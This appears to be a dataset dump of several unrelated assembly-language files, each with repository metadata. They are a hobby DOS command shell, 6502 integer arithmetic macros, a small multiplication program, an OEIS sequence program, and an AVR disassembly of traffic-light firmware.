39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
39.866667
2,999
0.659606
9b1c96c62948d587b447cc689f70220c4e2e0805
3,950
asm
Assembly
sources/utils/command.asm
SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
3
2021-01-01T17:18:09.000Z
2022-01-08T08:53:55.000Z
sources/utils/command.asm
SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
3
2021-02-09T09:43:44.000Z
2021-06-04T07:15:38.000Z
sources/utils/command.asm
SashaVolohov/VH-DOS
8d723bc3fa881f8f79fbbe0b2356f2f622be649d
[ "Unlicense" ]
null
null
null
org 0x0600 include "..\standards.inc" MACRO ccmps nstr, nlength, jumpto { mov si,[Command_Integer_Parse@stringd] push si mov si,nstr mov cx,nlength rep cmpsb jz jumpto } Task_command: mov ax,2 int 10h mov ah,2 mov bh,0 xor dx,dx int 10h mov bp,cmd_prompt call TxtPrint mov dx,4 ;x,y = 4,0 call SetCursorPos jmp Pre_Command ; Functions (/kernel/*.asm) include "..\kernel\Global.inc" ; VersionInfo ; ClearScreen ; ClearScreen_cl include "..\kernel\BSOD.inc" ; BSOD include "..\kernel\GHNRandom.inc" ; GHNRandom include "..\kernel\StringReg.inc" ; UpperCase(BP = offset, !stops with 0); ; LowerCase(BP = offset, !stops with 0) include "..\kernel\PCSpeaker.inc" ; Beep(AX = Hz); ; NoBeep include "..\kernel\PwrMgmt.inc" ; Restart; ; ACPI_Shutdown include "..\kernel\ReverseByte.inc" ; ReverseByte include "..\kernel\TxtPrint.inc" ; TxtPrint ; MultiTxtPrint stringd equ 0x2000 stringd_len equ 0x33 Pre_Command: mov cx,50d ClearBuf: mov bx,cx add bx,stringd mov byte [ds:bx],0 loop ClearBuf jmp Command Command: mov ah,10h int 16h cmp ah,00Eh ; [Backspace] jz Delete_symbol cmp ah,01Ch ; [Return] jz Parse_Command cmp al,32d jae CheckForPrintableRange jmp Command CheckForPrintableRange: cmp al,126d jle AddToBuffer jmp Command AddToBuffer: mov ah,3 mov bh,0 int 10h cmp dl,53d ; Is cursor at end? jz Command mov [ds:stringd+si],al inc si mov ah,00Ah mov bx,7 mov cx,1 int 10h mov ah,3 mov bh,0 int 10h inc dl mov ah,2 mov bh,0 int 10h jmp Command Parse_Command: mov ah,3 mov bh,0 int 10h cmp dh,24d jz ScrollDown AfterScroll: inc dh xor dl,dl call SetCursorPos mov ax,cs ; ? mov ds,ax ; ? mov es,ax ; ? mov ax,cs ; ? mov ds,ax ; ? mov es,ax ; ? mov bp,stringd call UpperCase mov di,stringd jmp Command_Integer_Parse AfterIntegerParse: cmp ax,0 ; bad command jz Bad_Command cmp ax,1 ; cls jz ClearScreen_cl cmp ax,2 ; ver jz VersionInfo cmp ax,3 ; restart jz Restart jmp BSOD Command_Integer_Parse: ; What it returns: ;_____________________. ; AX | Meaning ; ;--------+------------; ; 0x0000 | <Bad cmd.> ; ; 0x0001 | CLS ; ; 0x0002 | VER ; ; 0x0003 | RESTART ; ;---------------------; mov [Command_Integer_Parse@stringd],si xor ax,ax ccmps cmd_cls, 3, CC_cls ; AX = 0x0001 ccmps cmd_ver, 3, CC_version ; AX = 0x0002 ccmps cmd_restart, 7, CC_restart ; AX = 0x0003 jmp AfterIntegerParse CC_restart: inc ax CC_version: inc ax CC_cls: inc ax jmp AfterIntegerParse ;---- Command_Integer_Parse@stringd dw ? ;---- ScrollDown: mov ah,7 mov al,3 mov bh,7 mov cx,dx mov dx,0184Fh ; x,y = 80,25 jmp AfterScroll ;---- Delete_symbol: cmp dl,4 jz Command dec dl call SetCursorPos mov al,20h mov [stringd+si],al mov ah,9 mov bx,7 mov cx,1 int 10h dec si jmp Command ;---- bad db 'Bad command or file name',0 cmd_ver db 'VER',0 cmd_cls db 'CLS',0 cmd_restart db 'RESTART',0 ;---- Bad_Command: mov bp,bad call TxtPrint ;add dh,2 ;mov dl,0 ;call SetCursorPos mov bp,cmd_prompt call TxtPrint ;add dl,4 ;call SetCursorPos jmp ClearBuffer ; ret ; Смысла в RET здесь нет PageUp: mov ax,2 ; debug int 10h ; debug mov dl,0 ; debug mov dh,0 ; debug call SetCursorPos ; debug mov ax,00600h mov bx,00007h xor cx,cx mov dx,0184Fh ; x,y = 80,25 int 10h mov ah,2 mov bh,0 xor dx,dx int 10h mov bp,cmd_prompt call TxtPrint mov dl,4 ; debug mov dh,0 ; debug call SetCursorPos ; debug jmp Command ret ;stringd db (50 + 1) dup (0) ; (%d + 1) для /kernel/UpperCase
16.880342
75
0.608608
98b4df658171b31ff3ca4c0c5e21e207c467932c
2,843
asm
Assembly
lib/core/arith/_int.asm
locodarwin/xc-basic3
74d73fb4049980fc0c7b648b4893ce3a53056af3
[ "MIT" ]
11
2021-08-05T18:13:21.000Z
2022-03-26T21:44:50.000Z
lib/core/arith/_int.asm
locodarwin/xc-basic3
74d73fb4049980fc0c7b648b4893ce3a53056af3
[ "MIT" ]
119
2021-08-09T06:28:44.000Z
2022-03-31T07:12:11.000Z
lib/core/arith/_int.asm
locodarwin/xc-basic3
74d73fb4049980fc0c7b648b4893ce3a53056af3
[ "MIT" ]
3
2022-01-22T05:25:09.000Z
2022-03-26T17:11:55.000Z
PROCESSOR 6502 ; Add top 2 ints on stack MAC addint addword ENDM ; Subtract top 2 ints on stack MAC subint subword ENDM ; Multiply top 2 ints on stack MAC mulint ; @pull @push IF !FPULL pla sta R1 pla sta R0 ELSE sta R0 sty R1 ENDIF pla sta R3 pla sta R2 import I_NUCLEUS_MUL16 jsr NUCLEUS_MUL16 IF !FPUSH lda R0 pha lda R1 pha ELSE lda R0 ldy R1 ENDIF ENDM ; Divide top 2 ints on stack MAC divint ; @push plwordvar R0 plwordvar R2 lda R0 bne .ok lda R1 bne .ok import I_RUNTIME_ERROR lda #ERR_DIVZERO jmp RUNTIME_ERROR .ok import I_NUCLEUS_DIV16 jsr NUCLEUS_DIV16 pintvar R2 ENDM ; Modulo of top 2 ints on stack MAC modint ; @push plwordvar R0 plwordvar R2 lda R0 bne .ok lda R1 bne .ok import I_RUNTIME_ERROR lda #ERR_DIVZERO jmp RUNTIME_ERROR .ok import I_NUCLEUS_DIV16 jsr NUCLEUS_DIV16 pintvar R4 ENDM ; Perform NOT on int on stack MAC notint ; @pull @push notword ENDM ; Perform AND on top 2 ints on stack MAC andint andword ENDM ; Perform OR on top 2 ints on stack MAC orint orword ENDM ; Perform XOR on top 2 ints of stack MAC xorint xorword ENDM ; Take two's complement of int MAC twoscplint lda {1}+1 eor #$ff sta {1}+1 lda {1} eor #$ff clc adc #$01 sta {1} bne .skip inc {1}+1 .skip ENDM ; Negate int on stack MAC negint ; @pull IF !FPULL pla tay pla ENDIF tax tya eor #$ff tay txa eor #$ff clc adc #1 bne .skip iny .skip IF !FPUSH pha tya pha ENDIF ENDM ; Shift left with number of binary places ; stored in a byte on top of stack MAC lshiftint ; @pull lshiftword ENDM ; LSHIFT() function ; with constant argument MAC lshiftintwconst lshiftwordwconst {1} ENDM ; Shift right with number of binary places ; stored in a byte on top of stack MAC rshiftint ; @pull rshiftword ENDM ; RSHIFT() function ; with constant argument MAC rshiftintwconst rshiftwordwconst {1} ENDM ; Signed 16-bit multiplication IFCONST I_NUCLEUS_MUL16_IMPORTED import I_NUCLEUS_MULU16 NUCLEUS_MUL16 SUBROUTINE ldy #$00 ; .y will hold the sign of product lda R1 bpl .skip ; if factor1 is negative twoscplint R0 ; then factor1 := -factor1 iny ; and switch sign .skip lda R3 bpl .skip2 ; if factor2 is negative twoscplint R2 ; then factor2 := -factor2 iny ; and switch sign .skip2 jsr NUCLEUS_MULU16 ; do unsigned multiplication tya and #$01 ; if .x is odd beq .q twoscplint R0 ; then product := -product .q rts ENDIF ; Signed 16-bit division IFCONST I_NUCLEUS_DIV16_IMPORTED import I_NUCLEUS_DIVU16 NUCLEUS_DIV16 SUBROUTINE ldx #$00 lda R2+1 bpl .skip twoscplint R2 inx .skip lda R0+1 bpl .skip2 twoscplint R0 inx .skip2 txa pha jsr NUCLEUS_DIVU16 pla and #$01 beq .q twoscplint R2 .q rts ENDIF
13.868293
51
0.693985
3df23a5388fffdfae49811c3549251210ed2179c
488
nasm
Assembly
Projetos/F-Assembly/src/nasm/mult.nasm
RaphaelAzev/Z01-GrupoH-2-
1a0077f53beb4a57c5e509fe22c4a9bb0ecaa905
[ "Unlicense" ]
null
null
null
Projetos/F-Assembly/src/nasm/mult.nasm
RaphaelAzev/Z01-GrupoH-2-
1a0077f53beb4a57c5e509fe22c4a9bb0ecaa905
[ "Unlicense" ]
null
null
null
Projetos/F-Assembly/src/nasm/mult.nasm
RaphaelAzev/Z01-GrupoH-2-
1a0077f53beb4a57c5e509fe22c4a9bb0ecaa905
[ "Unlicense" ]
null
null
null
; Arquivo: Abs.nasm ; Curso: Elementos de Sistemas ; Criado por: Luciano Soares ; Data: 27/03/2017 ; Multiplica o valor de RAM[1] com RAM[0] salvando em RAM[3] while1: leaw $R1, %A movw (%A), %D leaw $R2, %A addw (%A), %D, %S movw %S, (%A) leaw $R4, %A movw (%A), %S incw %S movw %S, (%A) leaw $R0, %A movw (%A), %D leaw $R4, %A subw (%A), %D,%S leaw %while1, %A jne %S nop leaw $R2, %A movw (%A), %D leaw $R3, %A movw %D, (%A)
13.555556
61
0.510246
bc03ca62c5cc5461cbbd2704f4ffd14b8b9c7365
459
asm
Assembly
oeis/282/A282601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/282/A282601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/282/A282601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A282601: a(n) = Sum_(k=1..phi(n)/2) floor(d_k/2) where d_k are the totatives of n. ; Submitted by Jamie Morken(w1) ; 0,0,0,0,1,0,2,1,3,1,6,2,9,3,6,6,16,5,20,8,14,10,30,10,29,15,28,18,49,14,56,28,38,28,48,24,81,36,54,36,100,30,110,50,64,55,132,44,124,57,96,72,169,56,130,78,122,91,210,56,225,105,136,120,186,80,272,128,182,102 add $0,1 mov $2,$0 div $2,2 lpb $2 mov $3,$2 gcd $3,$0 cmp $3,1 mul $3,$2 div $3,2 add $1,$3 sub $2,1 lpe mov $0,$1
25.5
210
0.610022
78825915d4ecb28034e909aa813cb12c0429cc56
19,320
asm
Assembly
TrafficLight13/Release/_old/TrafficLight13.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
10
2019-03-06T18:39:02.000Z
2021-10-07T23:52:52.000Z
TrafficLight13/Release/_old/TrafficLight13.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
1
2019-03-05T18:18:09.000Z
2019-03-10T16:36:40.000Z
TrafficLight13/Release/_old/TrafficLight13.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
2
2020-08-09T20:44:46.000Z
2020-09-23T03:28:04.000Z
./Release/TrafficLight13.elf: file format elf32-avr Disassembly of section .text: 00000000 <__vectors>: 0: 39 c0 rjmp .+114 ; 0x74 <__ctors_end> 2: 5e c0 rjmp .+188 ; 0xc0 <__vector_1> 4: 45 c0 rjmp .+138 ; 0x90 <__bad_interrupt> 6: 45 c0 rjmp .+138 ; 0x92 <__vector_3> 8: 43 c0 rjmp .+134 ; 0x90 <__bad_interrupt> a: 42 c0 rjmp .+132 ; 0x90 <__bad_interrupt> c: 41 c0 rjmp .+130 ; 0x90 <__bad_interrupt> e: 40 c0 rjmp .+128 ; 0x90 <__bad_interrupt> 10: 3f c0 rjmp .+126 ; 0x90 <__bad_interrupt> 12: 3e c0 rjmp .+124 ; 0x90 <__bad_interrupt> 00000014 <__trampolines_end>: 14: 18 08 sbc r1, r8 16: 00 00 nop 18: 00 00 nop 1a: b9 00 .word 0x00b9 ; ???? 1c: 08 08 sbc r0, r8 1e: 18 08 sbc r1, r8 20: 09 00 .word 0x0009 ; ???? 22: 6f 00 .word 0x006f ; ???? 24: 09 09 sbc r16, r9 26: 00 00 nop 28: 00 00 nop 2a: 25 00 .word 0x0025 ; ???? 2c: 0d 0d add r16, r13 2e: 00 00 nop 30: 00 00 nop 32: 4a 00 .word 0x004a ; ???? 34: 18 10 cpse r1, r8 36: 00 00 nop 38: 00 00 nop 3a: 03 01 movw r0, r6 3c: 18 10 cpse r1, r8 3e: 08 00 .word 0x0008 ; ???? 40: 09 00 .word 0x0009 ; ???? 42: 6f 00 .word 0x006f ; ???? 44: 0c 04 cpc r0, r12 46: 00 00 nop 48: 00 00 nop 4a: 25 00 .word 0x0025 ; ???? 4c: 0d 05 cpc r16, r13 4e: 00 00 nop 50: 00 00 nop 52: 4a 00 .word 0x004a ; ???? 54: 05 05 cpc r16, r5 56: 05 00 .word 0x0005 ; ???? 58: 25 00 .word 0x0025 ; ???? ... 62: 00 00 nop 64: 1c 0c add r1, r12 66: 19 11 cpse r17, r9 68: 01 00 .word 0x0001 ; ???? 6a: 25 00 .word 0x0025 ; ???? 6c: 14 04 cpc r1, r4 6e: 11 11 cpse r17, r1 70: 01 00 .word 0x0001 ; ???? ... 00000074 <__ctors_end>: 74: 11 24 eor r1, r1 76: 1f be out 0x3f, r1 ; 63 78: cf e9 ldi r28, 0x9F ; 159 7a: cd bf out 0x3d, r28 ; 61 0000007c <__do_clear_bss>: 7c: 20 e0 ldi r18, 0x00 ; 0 7e: a0 e6 ldi r26, 0x60 ; 96 80: b0 e0 ldi r27, 0x00 ; 0 82: 01 c0 rjmp .+2 ; 0x86 <.do_clear_bss_start> 00000084 <.do_clear_bss_loop>: 84: 1d 92 st X+, r1 00000086 <.do_clear_bss_start>: 86: a8 36 cpi r26, 0x68 ; 104 88: b2 07 cpc r27, r18 8a: e1 f7 brne .-8 ; 0x84 <.do_clear_bss_loop> 8c: 8d d0 rcall .+282 ; 0x1a8 <main> 8e: c8 c1 rjmp .+912 ; 0x420 <_exit> 00000090 <__bad_interrupt>: 90: b7 cf rjmp .-146 ; 0x0 <__vectors> 00000092 <__vector_3>: 92: 1f 92 push r1 94: 0f 92 push r0 96: 0f b6 in r0, 0x3f ; 63 98: 0f 92 push r0 9a: 11 24 eor r1, r1 9c: 8f 93 push r24 9e: 9f 93 push r25 a0: 80 91 66 00 lds r24, 0x0066 ; 0x800066 <globalTimer> a4: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <globalTimer+0x1> a8: 01 96 adiw r24, 0x01 ; 1 aa: 90 93 67 00 sts 0x0067, r25 ; 0x800067 <globalTimer+0x1> ae: 80 93 66 00 sts 0x0066, r24 ; 0x800066 <globalTimer> b2: 9f 91 pop r25 b4: 8f 91 pop r24 b6: 0f 90 pop r0 b8: 0f be out 0x3f, r0 ; 63 ba: 0f 90 pop r0 bc: 1f 90 pop r1 be: 18 95 reti 000000c0 <__vector_1>: c0: 1f 92 push r1 c2: 0f 92 push r0 c4: 0f b6 in r0, 0x3f ; 63 c6: 0f 92 push r0 c8: 11 24 eor r1, r1 ca: 8f 93 push r24 cc: 8b b7 in r24, 0x3b ; 59 ce: 8f 7b andi r24, 0xBF ; 191 d0: 8b bf out 0x3b, r24 ; 59 d2: 8a b7 in r24, 0x3a ; 58 d4: 8f 7b andi r24, 0xBF ; 191 d6: 8a bf out 0x3a, r24 ; 58 d8: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> dc: 10 92 67 00 sts 0x0067, r1 ; 0x800067 <globalTimer+0x1> e0: 10 92 66 00 sts 0x0066, r1 ; 0x800066 <globalTimer> e4: 10 92 65 00 sts 0x0065, r1 ; 0x800065 <scan_button_cnt> e8: 8f 73 andi r24, 0x3F ; 63 ea: 83 60 ori r24, 0x03 ; 3 ec: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> f0: 8f 91 pop r24 f2: 0f 90 pop r0 f4: 0f be out 0x3f, r0 ; 63 f6: 0f 90 pop r0 f8: 1f 90 pop r1 fa: 18 95 reti 000000fc <_Z8setPortshb>: fc: 17 ba out 0x17, r1 ; 23 fe: 18 ba out 0x18, r1 ; 24 100: 90 e0 ldi r25, 0x00 ; 0 102: 23 e0 ldi r18, 0x03 ; 3 104: 88 0f add r24, r24 106: 99 1f adc r25, r25 108: 2a 95 dec r18 10a: e1 f7 brne .-8 ; 0x104 <_Z8setPortshb+0x8> 10c: 9c 01 movw r18, r24 10e: 2c 5e subi r18, 0xEC ; 236 110: 3f 4f sbci r19, 0xFF ; 255 112: 61 11 cpse r22, r1 114: 03 c0 rjmp .+6 ; 0x11c <_Z8setPortshb+0x20> 116: e2 e0 ldi r30, 0x02 ; 2 118: f0 e0 ldi r31, 0x00 ; 0 11a: 02 c0 rjmp .+4 ; 0x120 <_Z8setPortshb+0x24> 11c: e0 e0 ldi r30, 0x00 ; 0 11e: f0 e0 ldi r31, 0x00 ; 0 120: e2 0f add r30, r18 122: f3 1f adc r31, r19 124: e4 91 lpm r30, Z 126: ed 7f andi r30, 0xFD ; 253 128: e7 bb out 0x17, r30 ; 23 12a: fc 01 movw r30, r24 12c: 66 23 and r22, r22 12e: 19 f0 breq .+6 ; 0x136 <_Z8setPortshb+0x3a> 130: eb 5e subi r30, 0xEB ; 235 132: ff 4f sbci r31, 0xFF ; 255 134: 02 c0 rjmp .+4 ; 0x13a <_Z8setPortshb+0x3e> 136: e9 5e subi r30, 0xE9 ; 233 138: ff 4f sbci r31, 0xFF ; 255 13a: e4 91 lpm r30, Z 13c: e2 60 ori r30, 0x02 ; 2 13e: e8 bb out 0x18, r30 ; 24 140: 08 95 ret 00000142 <_Z10setPeriodshb>: 142: 90 e0 ldi r25, 0x00 ; 0 144: 23 e0 ldi r18, 0x03 ; 3 146: 88 0f add r24, r24 148: 99 1f adc r25, r25 14a: 2a 95 dec r18 14c: e1 f7 brne .-8 ; 0x146 <_Z10setPeriodshb+0x4> 14e: fc 01 movw r30, r24 150: e8 5e subi r30, 0xE8 ; 232 152: ff 4f sbci r31, 0xFF ; 255 154: 45 91 lpm r20, Z+ 156: 54 91 lpm r21, Z 158: 41 15 cp r20, r1 15a: 51 05 cpc r21, r1 15c: 39 f0 breq .+14 ; 0x16c <_Z10setPeriodshb+0x2a> 15e: 20 91 66 00 lds r18, 0x0066 ; 0x800066 <globalTimer> 162: 30 91 67 00 lds r19, 0x0067 ; 0x800067 <globalTimer+0x1> 166: 24 0f add r18, r20 168: 35 1f adc r19, r21 16a: 02 c0 rjmp .+4 ; 0x170 <_Z10setPeriodshb+0x2e> 16c: 20 e0 ldi r18, 0x00 ; 0 16e: 30 e0 ldi r19, 0x00 ; 0 170: 30 93 64 00 sts 0x0064, r19 ; 0x800064 <tl_flash_end+0x1> 174: 20 93 63 00 sts 0x0063, r18 ; 0x800063 <tl_flash_end> 178: 66 23 and r22, r22 17a: a9 f0 breq .+42 ; 0x1a6 <_Z10setPeriodshb+0x64> 17c: fc 01 movw r30, r24 17e: e6 5e subi r30, 0xE6 ; 230 180: ff 4f sbci r31, 0xFF ; 255 182: 25 91 lpm r18, Z+ 184: 34 91 lpm r19, Z 186: 21 15 cp r18, r1 188: 31 05 cpc r19, r1 18a: 39 f0 breq .+14 ; 0x19a <_Z10setPeriodshb+0x58> 18c: 80 91 66 00 lds r24, 0x0066 ; 0x800066 <globalTimer> 190: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <globalTimer+0x1> 194: 82 0f add r24, r18 196: 93 1f adc r25, r19 198: 02 c0 rjmp .+4 ; 0x19e <_Z10setPeriodshb+0x5c> 19a: 80 e0 ldi r24, 0x00 ; 0 19c: 90 e0 ldi r25, 0x00 ; 0 19e: 90 93 62 00 sts 0x0062, r25 ; 0x800062 <tl_signal_end+0x1> 1a2: 80 93 61 00 sts 0x0061, r24 ; 0x800061 <tl_signal_end> 1a6: 08 95 ret 000001a8 <main>: 1a8: 85 b7 in r24, 0x35 ; 53 1aa: 87 7e andi r24, 0xE7 ; 231 1ac: 85 bf out 0x35, r24 ; 53 1ae: 85 b7 in r24, 0x35 ; 53 1b0: 80 62 ori r24, 0x20 ; 32 1b2: 85 bf out 0x35, r24 ; 53 1b4: 85 e0 ldi r24, 0x05 ; 5 1b6: 83 bf out 0x33, r24 ; 51 1b8: 89 b7 in r24, 0x39 ; 57 1ba: 82 60 ori r24, 0x02 ; 2 1bc: 89 bf out 0x39, r24 ; 57 1be: 10 92 67 00 sts 0x0067, r1 ; 0x800067 <globalTimer+0x1> 1c2: 10 92 66 00 sts 0x0066, r1 ; 0x800066 <globalTimer> 1c6: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 1ca: 8c 7f andi r24, 0xFC ; 252 1cc: 10 92 65 00 sts 0x0065, r1 ; 0x800065 <scan_button_cnt> 1d0: 25 e0 ldi r18, 0x05 ; 5 1d2: 30 e0 ldi r19, 0x00 ; 0 1d4: 30 93 69 00 sts 0x0069, r19 ; 0x800069 <__bss_end+0x1> 1d8: 20 93 68 00 sts 0x0068, r18 ; 0x800068 <__bss_end> 1dc: 84 62 ori r24, 0x24 ; 36 1de: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 1e2: 78 94 sei 1e4: 1a e0 ldi r17, 0x0A ; 10 1e6: 00 e2 ldi r16, 0x20 ; 32 1e8: cd e4 ldi r28, 0x4D ; 77 1ea: d0 e0 ldi r29, 0x00 ; 0 1ec: 80 e1 ldi r24, 0x10 ; 16 1ee: f8 2e mov r15, r24 1f0: 80 91 66 00 lds r24, 0x0066 ; 0x800066 <globalTimer> 1f4: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <globalTimer+0x1> 1f8: 97 ff sbrs r25, 7 1fa: 34 c0 rjmp .+104 ; 0x264 <main+0xbc> 1fc: 80 91 66 00 lds r24, 0x0066 ; 0x800066 <globalTimer> 200: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <globalTimer+0x1> 204: 8f 5f subi r24, 0xFF ; 255 206: 9f 47 sbci r25, 0x7F ; 127 208: 90 93 67 00 sts 0x0067, r25 ; 0x800067 <globalTimer+0x1> 20c: 80 93 66 00 sts 0x0066, r24 ; 0x800066 <globalTimer> 210: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 214: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 218: 00 97 sbiw r24, 0x00 ; 0 21a: 79 f0 breq .+30 ; 0x23a <main+0x92> 21c: 8f 5f subi r24, 0xFF ; 255 21e: 9f 47 sbci r25, 0x7F ; 127 220: 90 93 64 00 sts 0x0064, r25 ; 0x800064 <tl_flash_end+0x1> 224: 80 93 63 00 sts 0x0063, r24 ; 0x800063 <tl_flash_end> 228: 80 91 68 00 lds r24, 0x0068 ; 0x800068 <__bss_end> 22c: 90 91 69 00 lds r25, 0x0069 ; 0x800069 <__bss_end+0x1> 230: 01 97 sbiw r24, 0x01 ; 1 232: 90 93 69 00 sts 0x0069, r25 ; 0x800069 <__bss_end+0x1> 236: 80 93 68 00 sts 0x0068, r24 ; 0x800068 <__bss_end> 23a: 80 91 61 00 lds r24, 0x0061 ; 0x800061 <tl_signal_end> 23e: 90 91 62 00 lds r25, 0x0062 ; 0x800062 <tl_signal_end+0x1> 242: 00 97 sbiw r24, 0x00 ; 0 244: 79 f0 breq .+30 ; 0x264 <main+0xbc> 246: 8f 5f subi r24, 0xFF ; 255 248: 9f 47 sbci r25, 0x7F ; 127 24a: 90 93 62 00 sts 0x0062, r25 ; 0x800062 <tl_signal_end+0x1> 24e: 80 93 61 00 sts 0x0061, r24 ; 0x800061 <tl_signal_end> 252: 80 91 68 00 lds r24, 0x0068 ; 0x800068 <__bss_end> 256: 90 91 69 00 lds r25, 0x0069 ; 0x800069 <__bss_end+0x1> 25a: 01 96 adiw r24, 0x01 ; 1 25c: 90 93 69 00 sts 0x0069, r25 ; 0x800069 <__bss_end+0x1> 260: 80 93 68 00 sts 0x0068, r24 ; 0x800068 <__bss_end> 264: b1 99 sbic 0x16, 1 ; 22 266: 1a c0 rjmp .+52 ; 0x29c <main+0xf4> 268: 90 91 65 00 lds r25, 0x0065 ; 0x800065 <scan_button_cnt> 26c: 9f 5f subi r25, 0xFF ; 255 26e: 90 93 65 00 sts 0x0065, r25 ; 0x800065 <scan_button_cnt> 272: 20 91 68 00 lds r18, 0x0068 ; 0x800068 <__bss_end> 276: 30 91 69 00 lds r19, 0x0069 ; 0x800069 <__bss_end+0x1> 27a: 29 1b sub r18, r25 27c: 31 09 sbc r19, r1 27e: 30 93 69 00 sts 0x0069, r19 ; 0x800069 <__bss_end+0x1> 282: 20 93 68 00 sts 0x0068, r18 ; 0x800068 <__bss_end> 286: 95 30 cpi r25, 0x05 ; 5 288: 48 f0 brcs .+18 ; 0x29c <main+0xf4> 28a: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 28e: 95 32 cpi r25, 0x25 ; 37 290: 10 f4 brcc .+4 ; 0x296 <main+0xee> 292: 80 64 ori r24, 0x40 ; 64 294: 01 c0 rjmp .+2 ; 0x298 <main+0xf0> 296: 80 6c ori r24, 0xC0 ; 192 298: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 29c: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 2a0: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 2a4: 00 97 sbiw r24, 0x00 ; 0 2a6: a1 f0 breq .+40 ; 0x2d0 <main+0x128> 2a8: 20 91 66 00 lds r18, 0x0066 ; 0x800066 <globalTimer> 2ac: 30 91 67 00 lds r19, 0x0067 ; 0x800067 <globalTimer+0x1> 2b0: 82 17 cp r24, r18 2b2: 93 07 cpc r25, r19 2b4: 68 f4 brcc .+26 ; 0x2d0 <main+0x128> 2b6: 60 91 60 00 lds r22, 0x0060 ; 0x800060 <_edata> 2ba: 60 27 eor r22, r16 2bc: 60 93 60 00 sts 0x0060, r22 ; 0x800060 <_edata> 2c0: 65 fb bst r22, 5 2c2: 66 27 eor r22, r22 2c4: 60 f9 bld r22, 0 2c6: 81 2f mov r24, r17 2c8: 19 df rcall .-462 ; 0xfc <_Z8setPortshb> 2ca: 60 e0 ldi r22, 0x00 ; 0 2cc: 81 2f mov r24, r17 2ce: 39 df rcall .-398 ; 0x142 <_Z10setPeriodshb> 2d0: 80 91 61 00 lds r24, 0x0061 ; 0x800061 <tl_signal_end> 2d4: 90 91 62 00 lds r25, 0x0062 ; 0x800062 <tl_signal_end+0x1> 2d8: 00 97 sbiw r24, 0x00 ; 0 2da: 59 f0 breq .+22 ; 0x2f2 <main+0x14a> 2dc: 20 91 66 00 lds r18, 0x0066 ; 0x800066 <globalTimer> 2e0: 30 91 67 00 lds r19, 0x0067 ; 0x800067 <globalTimer+0x1> 2e4: 82 17 cp r24, r18 2e6: 93 07 cpc r25, r19 2e8: 20 f4 brcc .+8 ; 0x2f2 <main+0x14a> 2ea: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 2ee: 85 fd sbrc r24, 5 2f0: 91 c0 rjmp .+290 ; 0x414 <__LOCK_REGION_LENGTH__+0x14> 2f2: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 2f6: 98 2f mov r25, r24 2f8: 93 70 andi r25, 0x03 ; 3 2fa: 92 30 cpi r25, 0x02 ; 2 2fc: 09 f4 brne .+2 ; 0x300 <main+0x158> 2fe: 50 c0 rjmp .+160 ; 0x3a0 <main+0x1f8> 300: 93 30 cpi r25, 0x03 ; 3 302: 19 f0 breq .+6 ; 0x30a <main+0x162> 304: 91 30 cpi r25, 0x01 ; 1 306: 31 f5 brne .+76 ; 0x354 <main+0x1ac> 308: 46 c0 rjmp .+140 ; 0x396 <main+0x1ee> 30a: 85 b7 in r24, 0x35 ; 53 30c: 87 7e andi r24, 0xE7 ; 231 30e: 85 bf out 0x35, r24 ; 53 310: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 314: 87 ff sbrs r24, 7 316: 13 c0 rjmp .+38 ; 0x33e <main+0x196> 318: 19 30 cpi r17, 0x09 ; 9 31a: 89 f4 brne .+34 ; 0x33e <main+0x196> 31c: 84 fd sbrc r24, 4 31e: 02 c0 rjmp .+4 ; 0x324 <main+0x17c> 320: 10 e0 ldi r17, 0x00 ; 0 322: 01 c0 rjmp .+2 ; 0x326 <main+0x17e> 324: 18 e0 ldi r17, 0x08 ; 8 326: 84 60 ori r24, 0x04 ; 4 328: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 32c: 80 91 68 00 lds r24, 0x0068 ; 0x800068 <__bss_end> 330: 90 91 69 00 lds r25, 0x0069 ; 0x800069 <__bss_end+0x1> 334: 81 2b or r24, r17 336: 90 93 69 00 sts 0x0069, r25 ; 0x800069 <__bss_end+0x1> 33a: 80 93 68 00 sts 0x0068, r24 ; 0x800068 <__bss_end> 33e: b1 9b sbis 0x16, 1 ; 22 340: 4f c0 rjmp .+158 ; 0x3e0 <main+0x238> 342: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 346: 87 ff sbrs r24, 7 348: 02 c0 rjmp .+4 ; 0x34e <main+0x1a6> 34a: 8c 7f andi r24, 0xFC ; 252 34c: 1c c0 rjmp .+56 ; 0x386 